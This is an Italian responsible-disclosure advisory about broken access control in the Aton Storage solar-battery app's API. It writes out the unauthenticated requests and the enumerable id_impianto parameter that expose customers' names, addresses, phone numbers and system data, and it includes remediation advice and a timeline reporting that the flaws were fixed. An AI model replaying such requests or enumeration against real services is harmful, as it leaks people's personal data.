Vulnerabilità accumulatori smart Aton Storage

Introduzione

ATON Green Storage S.p.A è una compagnia con sede legale a Rimini che vende soluzioni di storage elettrico per impianti fotovoltaici. Avendo da poco usufruito del 110% e cablato due appartamenti con queste tecnologie, ho notato delle serie vulnerabilità nell’API usato dall’applicazione mobile “Aton Storage”. Dopo aver inviato diverse segnalazione alla società senza aver avuto nessuna risposta, i dettagli vengono pubblicati a distanza di 1 anno dalla prima segnalazione.

Aggiornamento al 06/02/2023: I dettagli delle vulnerabilità riportati in questo articolo sono stati prontamente messi in sicurezza dagli sviluppatori dell’applicazione. In una nuova versione l’intero sistema di autenticazione e autorizzazione è stato riscritto e brevemente ri-testato per escludere ulteriori vulnerabilità critiche.

Dettagli tecnici

Versione Applicazione: 1.28.6
URL dell’API: www.atonstorage.com/atonTC/

Broken Access Control

Nessuna delle pagine PHP in /atonTC/ controlla che l’utente sia effettivamente loggato e autorizzato, prima di servire il contenuto richiesto. Ad esempio, è possibile ottenere id_impianto tramite la seguente richiesta, passando solamente l’username:

Richiesta

GET /atonTC/checkUserEmail.php?username=<username> HTTP/1.1
Host: www.atonstorage.com

Risposta

{
"id_impianto": "<REDACTED>",
"email": null,
"paese": "IT",
"fwScheda": "<REDACTED>",
"username": "<REDACTED>"
}

Con id_impianto possiamo usare un’altra funzionalità che restituisce tutte le informazioni personali inerenti alla persona titolare dell’impianto (compreso il seriale dell’impianto installato):

Richiesta

GET /atonTC/getImpiantoFull.php?id_impianto=<id_impianto> HTTP/1.1
Host: www.atonstorage.com

Risposta

{
"id_impianto": "<REDACTED>",
"nomeCliente": "<REDACTED>",
"cognomeCliente": "<REDACTED>",
"telefonoCliente": "<REDACTED>",
"cell1Cliente": "<REDACTED>",
"cell2Cliente": "<REDACTED>",
"via": "<REDACTED>",
"cap": "<REDACTED>",
"provincia": "<REDACTED>",
"comune": "<REDACTED>",
"localita": "<REDACTED>",
"potenzaEnel": "<REDACTED>",
"serialNumber": "<REDACTED>",
"externalEV": "0",
"inv1Codice": "",
"inv2Codice": null,
"inv2PotenzaAC": null,
"inv2PotenzaDC": null,
"inv2NumStringhe": null,
"charger1Codice": null,
"charger1MaxCar": null,
"charger1MaxScar": null,
"charger1VInMin": null,
"charger1VInMax": null,
"modello": "<REDACTED>",
"wp": "<REDACTED>",
[…]
"abilitaDownloadCSV": "0"
}

Il parametro id_impianto è un valore numerico che può essere facilmente enumerato, causando così l’esfiltrazione di dati personali dei clienti Aton Storage.

Con il numero seriale ottenuto nella risposta, possiamo accedere a svariate altre informazioni inerenti ai consumi/guadagni:

• /get_allarmi_oggi.php?sn=&idImpianto=– Per il controllo di allarmi nella giornata
• /get_monitor.php?sn= – Per monitorare lo stato attuale dell’impianto
• /get_energy.php?anno=2021&mese=12&giorno=2&idImpianto=&intervallo=d&potNom=&batNom=&sn= – Per creare grafici

Tutto questo senza che il sistema si preoccupi di verificare che:
1) L’utente sia loggato
2) L’utente sia autorizzato ad accedere a tali informazioni

Varie ed eventuali

Oltre alla vulnerabilità descritta sopra, il consulente vorrebbe anche mettere in evidenza che:

1. La versione di PHP in uso è considerata in end of life (non mantenuta e vulnerabile). Il branch 5.6 è stato messo in disuso dagli sviluppatori PHP 4 anni fa.
2. Gli installatori degli accumulatori Aton Storage tendono ad usare password semplici, per esempio la mia password è la stessa dell’username (cognome:cognome) – e questo è molto grave

Impatto

Un attaccante avente minime conoscenze (solo username), può accedere ad informazioni personali di un cliente Aton Storage (nome, cognome, cellulare, email, via, comune, ecc).
Inoltre, l’ID dell’impianto è un numero di 10 cifre che può essere enumerato con svariate richieste HTTP per ottenere una lista con informazioni private di clienti Aton Storage in relativamente poco tempo.
L’accesso al monitor e agli allarmi potrebbe non essere di grande interesse per un attaccante esterno, ma va comunque protetto per evitarne l’accesso non autorizzato.

Raccomandazioni

Per chiudere la vulnerabilità “Broken Access Control” è necessario che tutte le pagine che forniscano informazioni confidenziali o dettagli sull’impianto, verifichino che (in questo ordine):

1. Ci sia un PHPSESSID nella richiesta
2. Che il PHPSESSID sia di un utente che ha effettuato l’accesso con username e password validi
3. Che id_impianto corrisponda all’utente che ha effettuato il login (verificabile tramite il PHPSESSIONID)
4. Che sn corrisponda all’utente che ha effettuato il login (verificabile tramite il PHPSESSIONID)

Il punto 3 e 4 sono fondamentali per evitare che un utente X possa accedere ad informazioni di un utente Y, nel caso in cui abbia il sn o id_impianto.

Per la vulnerabilità relativa alla versione PHP, è necessario aggiornare la versione del PHP direttamente nella macchina che ospita il sito web (operazione che spetta al reparto IT, non dev). E’ inoltre fondamentale mantenere tutti i componenti del sistema aggiornati con le ultime versioni per non incorrere in attacchi verso vulnerabilità conosciute.

Disclosure Timeline

02/12/2021: Bug di sicurezza identificato
02/12/2021: Richiesta di un contatto diretto coi developers a [email protected]
09/12/2021: Nessuna risposta in 5 giorni lavorativi, nuova email inviata ad [email protected]
16/12/2021: Nessuna risposta in 10 giorni lavorativi, nuova email inviata ad [email protected]
05/01/2022: Nessuna risposta in 33 giorni dalla prima email – Dettagli tecnici delle vulnerabilità inviati alla email [email protected]
13/11/2022: Dopo 11 mesi e nessun contatto da parte di Aton Storage, l’articolo viene pubblicato
16/11/2022: Contatto diretto da parte dei developers di Aton per richiedere la messa offline dell’articolo fin quando le vulnerabilità non vengano risolte – Acconsentito per un massimo di 90 giorni
16/12/2022: Richiesta aggiornamenti sullo status – Il consulente viene informato che i fix sono già in produzione, estesi all’accesso web a mobile. Tre endpoints critici necessitano ulteriori modifiche.
18/01/2023: Richiesta aggiornamenti sullo status – Il consulente viene informato che anche i tre endpoint critici sano stati messi in sicurezza.
31/01/2023: Gli sviluppatori mettono a disposizione la versione beta dell’applicazione per effettuare un test e verificare che non presenti vulnerabilità critiche.
05/02/2023: Il consulente riporta suggerimenti e nessuna vulnerabilità critica nella nuova implementazione agli sviluppatori
16/02/2023: L’articolo viene nuovamente messo online alla scadenza dei 90 giorni concordati.